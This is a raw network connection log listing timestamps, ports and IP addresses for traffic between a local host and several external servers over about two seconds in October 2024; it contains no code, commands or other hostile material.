Oct 29, 2024 06:59:32.016565084 CET	443	49869	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:32.016594887 CET	49869	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:32.016611099 CET	49869	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:32.017891884 CET	443	49869	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:32.017901897 CET	443	49869	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:32.017927885 CET	443	49869	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:32.017976046 CET	49869	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:32.017983913 CET	443	49869	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:32.018009901 CET	49869	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:32.018024921 CET	49869	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:32.018750906 CET	443	49869	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:32.018810034 CET	49869	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:32.020654917 CET	443	49869	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:32.020678997 CET	443	49869	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:32.020755053 CET	49869	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:32.020762920 CET	443	49869	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:32.020809889 CET	49869	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:32.026684999 CET	443	49866	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:32.026729107 CET	443	49866	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:32.026781082 CET	49866	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:32.026792049 CET	443	49866	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:32.026813984 CET	49866	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:32.026923895 CET	49866	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:32.028104067 CET	443	49866	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:32.028182983 CET	49866	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:32.028189898 CET	443	49866	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:32.028229952 CET	49866	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:32.028278112 CET	443	49866	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:32.028326988 CET	49866	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:32.032877922 CET	49866	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:32.032897949 CET	443	49866	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:32.093724966 CET	443	49870	20.1.248.118	192.168.2.5
Oct 29, 2024 06:59:32.093739986 CET	443	49870	20.1.248.118	192.168.2.5
Oct 29, 2024 06:59:32.093858957 CET	49870	443	192.168.2.5	20.1.248.118
Oct 29, 2024 06:59:32.093868971 CET	443	49870	20.1.248.118	192.168.2.5
Oct 29, 2024 06:59:32.098337889 CET	49864	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:32.099546909 CET	49870	443	192.168.2.5	20.1.248.118
Oct 29, 2024 06:59:32.099586010 CET	443	49870	20.1.248.118	192.168.2.5
Oct 29, 2024 06:59:32.099649906 CET	49870	443	192.168.2.5	20.1.248.118
Oct 29, 2024 06:59:32.110836029 CET	443	49864	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:32.111593962 CET	49864	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:32.111646891 CET	443	49864	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:32.111690998 CET	49864	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:32.133117914 CET	443	49869	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:32.133141994 CET	443	49869	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:32.133200884 CET	49869	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:32.133214951 CET	443	49869	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:32.133244991 CET	49869	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:32.133266926 CET	49869	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:32.133420944 CET	443	49869	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:32.133483887 CET	49869	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:32.133490086 CET	443	49869	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:32.134253979 CET	49869	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:32.144789934 CET	49869	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:32.144804001 CET	443	49869	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:32.168863058 CET	443	49871	104.93.21.160	192.168.2.5
Oct 29, 2024 06:59:32.170207024 CET	49871	443	192.168.2.5	104.93.21.160
Oct 29, 2024 06:59:32.170216084 CET	443	49871	104.93.21.160	192.168.2.5
Oct 29, 2024 06:59:32.171272039 CET	443	49871	104.93.21.160	192.168.2.5
Oct 29, 2024 06:59:32.171350956 CET	49871	443	192.168.2.5	104.93.21.160
Oct 29, 2024 06:59:32.177664995 CET	443	49872	104.93.21.160	192.168.2.5
Oct 29, 2024 06:59:32.178291082 CET	49871	443	192.168.2.5	104.93.21.160
Oct 29, 2024 06:59:32.178448915 CET	49872	443	192.168.2.5	104.93.21.160
Oct 29, 2024 06:59:32.178458929 CET	443	49872	104.93.21.160	192.168.2.5
Oct 29, 2024 06:59:32.178478956 CET	443	49871	104.93.21.160	192.168.2.5
Oct 29, 2024 06:59:32.181989908 CET	443	49872	104.93.21.160	192.168.2.5
Oct 29, 2024 06:59:32.182061911 CET	49872	443	192.168.2.5	104.93.21.160
Oct 29, 2024 06:59:32.182568073 CET	49872	443	192.168.2.5	104.93.21.160
Oct 29, 2024 06:59:32.182733059 CET	443	49872	104.93.21.160	192.168.2.5
Oct 29, 2024 06:59:32.306579113 CET	49872	443	192.168.2.5	104.93.21.160
Oct 29, 2024 06:59:32.306592941 CET	443	49872	104.93.21.160	192.168.2.5
Oct 29, 2024 06:59:32.383368969 CET	443	49871	104.93.21.160	192.168.2.5
Oct 29, 2024 06:59:32.383919954 CET	49871	443	192.168.2.5	104.93.21.160
Oct 29, 2024 06:59:32.501697063 CET	49872	443	192.168.2.5	104.93.21.160
Oct 29, 2024 06:59:32.626852036 CET	49735	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:32.627326012 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:32.630728006 CET	443	49878	104.93.21.152	192.168.2.5
Oct 29, 2024 06:59:32.631206989 CET	49878	443	192.168.2.5	104.93.21.152
Oct 29, 2024 06:59:32.631217003 CET	443	49878	104.93.21.152	192.168.2.5
Oct 29, 2024 06:59:32.632256985 CET	80	49735	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:32.632663965 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:32.632761955 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:32.632829905 CET	443	49878	104.93.21.152	192.168.2.5
Oct 29, 2024 06:59:32.632888079 CET	49878	443	192.168.2.5	104.93.21.152
Oct 29, 2024 06:59:32.633091927 CET	443	49876	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:32.633091927 CET	443	49882	108.156.211.31	192.168.2.5
Oct 29, 2024 06:59:32.633405924 CET	443	49877	104.93.21.152	192.168.2.5
Oct 29, 2024 06:59:32.633443117 CET	49882	443	192.168.2.5	108.156.211.31
Oct 29, 2024 06:59:32.633454084 CET	443	49882	108.156.211.31	192.168.2.5
Oct 29, 2024 06:59:32.633608103 CET	49877	443	192.168.2.5	104.93.21.152
Oct 29, 2024 06:59:32.633625984 CET	443	49877	104.93.21.152	192.168.2.5
Oct 29, 2024 06:59:32.633666039 CET	443	49875	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:32.633753061 CET	443	49882	108.156.211.31	192.168.2.5
Oct 29, 2024 06:59:32.633861065 CET	49878	443	192.168.2.5	104.93.21.152
Oct 29, 2024 06:59:32.633943081 CET	443	49878	104.93.21.152	192.168.2.5
Oct 29, 2024 06:59:32.634046078 CET	443	49873	204.79.197.219	192.168.2.5
Oct 29, 2024 06:59:32.634080887 CET	49878	443	192.168.2.5	104.93.21.152
Oct 29, 2024 06:59:32.634087086 CET	443	49878	104.93.21.152	192.168.2.5
Oct 29, 2024 06:59:32.634396076 CET	49882	443	192.168.2.5	108.156.211.31
Oct 29, 2024 06:59:32.634449959 CET	443	49882	108.156.211.31	192.168.2.5
Oct 29, 2024 06:59:32.634556055 CET	49873	443	192.168.2.5	204.79.197.219
Oct 29, 2024 06:59:32.634562969 CET	443	49873	204.79.197.219	192.168.2.5
Oct 29, 2024 06:59:32.634671926 CET	49882	443	192.168.2.5	108.156.211.31
Oct 29, 2024 06:59:32.634855986 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:32.635000944 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:32.635427952 CET	443	49873	204.79.197.219	192.168.2.5
Oct 29, 2024 06:59:32.635489941 CET	49873	443	192.168.2.5	204.79.197.219
Oct 29, 2024 06:59:32.636389017 CET	49873	443	192.168.2.5	204.79.197.219
Oct 29, 2024 06:59:32.636442900 CET	443	49873	204.79.197.219	192.168.2.5
Oct 29, 2024 06:59:32.636753082 CET	49876	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:32.636765003 CET	443	49876	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:32.637243032 CET	443	49877	104.93.21.152	192.168.2.5
Oct 29, 2024 06:59:32.637262106 CET	49876	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:32.637265921 CET	443	49876	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:32.637325048 CET	49877	443	192.168.2.5	104.93.21.152
Oct 29, 2024 06:59:32.637624979 CET	49877	443	192.168.2.5	104.93.21.152
Oct 29, 2024 06:59:32.637964964 CET	49875	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:32.637980938 CET	443	49875	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:32.637990952 CET	443	49877	104.93.21.152	192.168.2.5
Oct 29, 2024 06:59:32.638345957 CET	49875	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:32.638350010 CET	443	49875	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:32.639296055 CET	443	49874	204.79.197.219	192.168.2.5
Oct 29, 2024 06:59:32.639496088 CET	49874	443	192.168.2.5	204.79.197.219
Oct 29, 2024 06:59:32.639508963 CET	443	49874	204.79.197.219	192.168.2.5
Oct 29, 2024 06:59:32.640072107 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:32.640292883 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:32.640306950 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:32.640379906 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:32.640464067 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:32.640518904 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:32.640531063 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:32.640543938 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:32.641132116 CET	443	49874	204.79.197.219	192.168.2.5
Oct 29, 2024 06:59:32.641208887 CET	49874	443	192.168.2.5	204.79.197.219
Oct 29, 2024 06:59:32.642116070 CET	49874	443	192.168.2.5	204.79.197.219
Oct 29, 2024 06:59:32.642225981 CET	443	49874	204.79.197.219	192.168.2.5
Oct 29, 2024 06:59:32.675333977 CET	443	49882	108.156.211.31	192.168.2.5
Oct 29, 2024 06:59:32.704817057 CET	49878	443	192.168.2.5	104.93.21.152
Oct 29, 2024 06:59:32.704819918 CET	49874	443	192.168.2.5	204.79.197.219
Oct 29, 2024 06:59:32.704852104 CET	443	49874	204.79.197.219	192.168.2.5
Oct 29, 2024 06:59:32.762281895 CET	443	49875	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:32.762775898 CET	443	49875	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:32.762947083 CET	49875	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:32.764957905 CET	49875	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:32.764957905 CET	49875	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:32.764971972 CET	443	49875	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:32.764981985 CET	443	49875	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:32.766158104 CET	443	49881	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:32.766396999 CET	443	49876	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:32.766407967 CET	443	49879	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:32.766736031 CET	443	49876	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:32.766829014 CET	49876	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:32.767195940 CET	49881	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:32.767209053 CET	443	49881	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:32.767766953 CET	49881	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:32.767771959 CET	443	49881	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:32.767939091 CET	443	49880	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:32.768295050 CET	49880	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:32.768316031 CET	443	49880	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:32.768873930 CET	49880	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:32.768878937 CET	443	49880	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:32.769088984 CET	49876	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:32.769097090 CET	443	49876	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:32.769104958 CET	49876	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:32.769109964 CET	443	49876	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:32.770297050 CET	49879	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:32.770333052 CET	443	49879	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:32.770752907 CET	49879	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:32.770760059 CET	443	49879	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:32.773427963 CET	49889	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:32.773444891 CET	443	49889	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:32.773514986 CET	49889	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:32.773627043 CET	49889	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:32.773638964 CET	443	49889	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:32.774642944 CET	49890	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:32.774663925 CET	443	49890	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:32.774717093 CET	49890	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:32.776628971 CET	49890	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:32.776640892 CET	443	49890	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:32.796137094 CET	443	49883	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:32.796389103 CET	49883	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:32.796405077 CET	443	49883	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:32.796875954 CET	443	49883	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:32.797216892 CET	49883	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:32.797292948 CET	443	49883	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:32.797390938 CET	49883	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:32.797468901 CET	49883	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:32.797486067 CET	443	49883	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:32.798711061 CET	49873	443	192.168.2.5	204.79.197.219
Oct 29, 2024 06:59:32.798717022 CET	443	49873	204.79.197.219	192.168.2.5
Oct 29, 2024 06:59:32.798746109 CET	49877	443	192.168.2.5	104.93.21.152
Oct 29, 2024 06:59:32.798763990 CET	443	49877	104.93.21.152	192.168.2.5
Oct 29, 2024 06:59:32.807925940 CET	443	49882	108.156.211.31	192.168.2.5
Oct 29, 2024 06:59:32.808068037 CET	443	49882	108.156.211.31	192.168.2.5
Oct 29, 2024 06:59:32.808228016 CET	49882	443	192.168.2.5	108.156.211.31
Oct 29, 2024 06:59:32.809210062 CET	49882	443	192.168.2.5	108.156.211.31
Oct 29, 2024 06:59:32.809226990 CET	443	49882	108.156.211.31	192.168.2.5
Oct 29, 2024 06:59:32.809237957 CET	49882	443	192.168.2.5	108.156.211.31
Oct 29, 2024 06:59:32.809271097 CET	49882	443	192.168.2.5	108.156.211.31
Oct 29, 2024 06:59:32.818331003 CET	443	49884	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:32.818559885 CET	49884	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:32.818569899 CET	443	49884	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:32.820010900 CET	443	49884	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:32.820101976 CET	49884	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:32.820439100 CET	49884	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:32.820523977 CET	443	49884	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:32.820697069 CET	49884	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:32.820703983 CET	443	49884	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:32.820739985 CET	49884	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:32.820750952 CET	49884	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:32.820790052 CET	443	49884	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:32.820868969 CET	49884	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:32.820882082 CET	443	49884	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:32.886039019 CET	49891	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:32.886054039 CET	443	49891	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:32.886137962 CET	49891	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:32.886521101 CET	49891	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:32.886533022 CET	443	49891	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:32.906955004 CET	49873	443	192.168.2.5	204.79.197.219
Oct 29, 2024 06:59:32.906956911 CET	49874	443	192.168.2.5	204.79.197.219
Oct 29, 2024 06:59:32.906975031 CET	49877	443	192.168.2.5	104.93.21.152
Oct 29, 2024 06:59:33.857351065 CET	443	49878	104.93.21.152	192.168.2.5
Oct 29, 2024 06:59:33.857448101 CET	443	49878	104.93.21.152	192.168.2.5
Oct 29, 2024 06:59:33.857676029 CET	443	49881	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:33.857693911 CET	443	49880	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:33.857709885 CET	49878	443	192.168.2.5	104.93.21.152
Oct 29, 2024 06:59:33.857769966 CET	443	49880	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:33.857800007 CET	443	49879	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:33.857848883 CET	49880	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:33.857868910 CET	443	49879	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:33.857925892 CET	49879	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:33.857981920 CET	443	49881	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:33.858095884 CET	443	49883	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:33.858120918 CET	49881	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:33.858228922 CET	443	49883	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:33.858284950 CET	49883	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:33.858445883 CET	49880	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:33.858479977 CET	443	49880	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:33.858510971 CET	49880	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:33.858526945 CET	443	49880	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:33.858628035 CET	49881	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:33.858644009 CET	443	49881	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:33.858656883 CET	49881	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:33.858661890 CET	443	49881	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:33.859080076 CET	443	49788	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:33.859137058 CET	443	49788	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:33.859179020 CET	443	49788	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:33.859217882 CET	49788	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:33.859231949 CET	443	49788	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:33.859286070 CET	49788	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:33.859286070 CET	49788	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:33.859359026 CET	443	49788	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:33.859493017 CET	443	49788	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:33.859643936 CET	49788	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:33.860240936 CET	49878	443	192.168.2.5	104.93.21.152
Oct 29, 2024 06:59:33.860253096 CET	443	49878	104.93.21.152	192.168.2.5
Oct 29, 2024 06:59:33.860259056 CET	49879	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:33.860284090 CET	443	49879	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:33.860304117 CET	49879	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:33.860311031 CET	443	49879	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:33.861696959 CET	49883	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:33.861712933 CET	443	49883	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:33.866585970 CET	49892	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:33.866600037 CET	443	49892	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:33.866789103 CET	49892	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:33.867419004 CET	49893	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:33.867453098 CET	443	49893	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:33.867512941 CET	49893	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:33.867713928 CET	49788	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:33.867731094 CET	443	49788	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:33.867739916 CET	49788	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:33.867744923 CET	443	49788	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:33.869813919 CET	49892	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:33.869823933 CET	443	49892	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:33.869980097 CET	49893	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:33.870009899 CET	443	49893	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:33.870115042 CET	49894	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:33.870127916 CET	443	49894	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:33.870804071 CET	49894	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:33.871090889 CET	49894	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:33.871100903 CET	443	49894	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:33.875267982 CET	49895	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:33.875293970 CET	443	49895	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:33.875430107 CET	49895	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:33.876063108 CET	49895	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:33.876076937 CET	443	49895	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:33.989245892 CET	443	49889	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:33.989981890 CET	49889	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:33.989998102 CET	443	49889	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:33.990560055 CET	49889	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:33.990566015 CET	443	49889	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:33.995987892 CET	443	49890	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:33.997070074 CET	49890	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:33.997091055 CET	443	49890	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:33.997387886 CET	49890	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:33.997397900 CET	443	49890	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.036158085 CET	49896	443	192.168.2.5	20.125.209.212
Oct 29, 2024 06:59:34.036175013 CET	443	49896	20.125.209.212	192.168.2.5
Oct 29, 2024 06:59:34.036463976 CET	49896	443	192.168.2.5	20.125.209.212
Oct 29, 2024 06:59:34.037882090 CET	49896	443	192.168.2.5	20.125.209.212
Oct 29, 2024 06:59:34.037895918 CET	443	49896	20.125.209.212	192.168.2.5
Oct 29, 2024 06:59:34.038774014 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:34.038988113 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:34.077028036 CET	49897	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:34.077099085 CET	443	49897	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:34.077194929 CET	49897	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:34.077656031 CET	49897	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:34.077667952 CET	443	49897	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:34.118732929 CET	443	49889	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.118977070 CET	443	49889	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.119141102 CET	49889	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.125727892 CET	49889	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.125735998 CET	443	49889	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.125747919 CET	49889	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.125752926 CET	443	49889	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.127486944 CET	443	49890	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.127635956 CET	443	49890	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.127721071 CET	49890	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.129348040 CET	49898	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.129407883 CET	443	49898	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.129498005 CET	49890	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.129509926 CET	443	49890	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.129543066 CET	49890	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.129549026 CET	443	49890	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.129555941 CET	49898	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.130577087 CET	49898	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.130601883 CET	443	49898	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.131768942 CET	49899	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.131781101 CET	443	49899	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.131870985 CET	49899	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.131946087 CET	49899	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:34.131957054 CET	443	49899	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:34.174858093 CET	49900	443	192.168.2.5	104.93.21.152
Oct 29, 2024 06:59:34.174881935 CET	443	49900	104.93.21.152	192.168.2.5
Oct 29, 2024 06:59:34.175029993 CET	49900	443	192.168.2.5	104.93.21.152
Oct 29, 2024 06:59:34.175194025 CET	49900	443	192.168.2.5	104.93.21.152
Oct 29, 2024 06:59:34.175206900 CET	443	49900	104.93.21.152	192.168.2.5
Oct 29, 2024 06:59:34.187768936 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:34.193270922 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:34.430538893 CET	49901	443	192.168.2.5	20.42.73.31
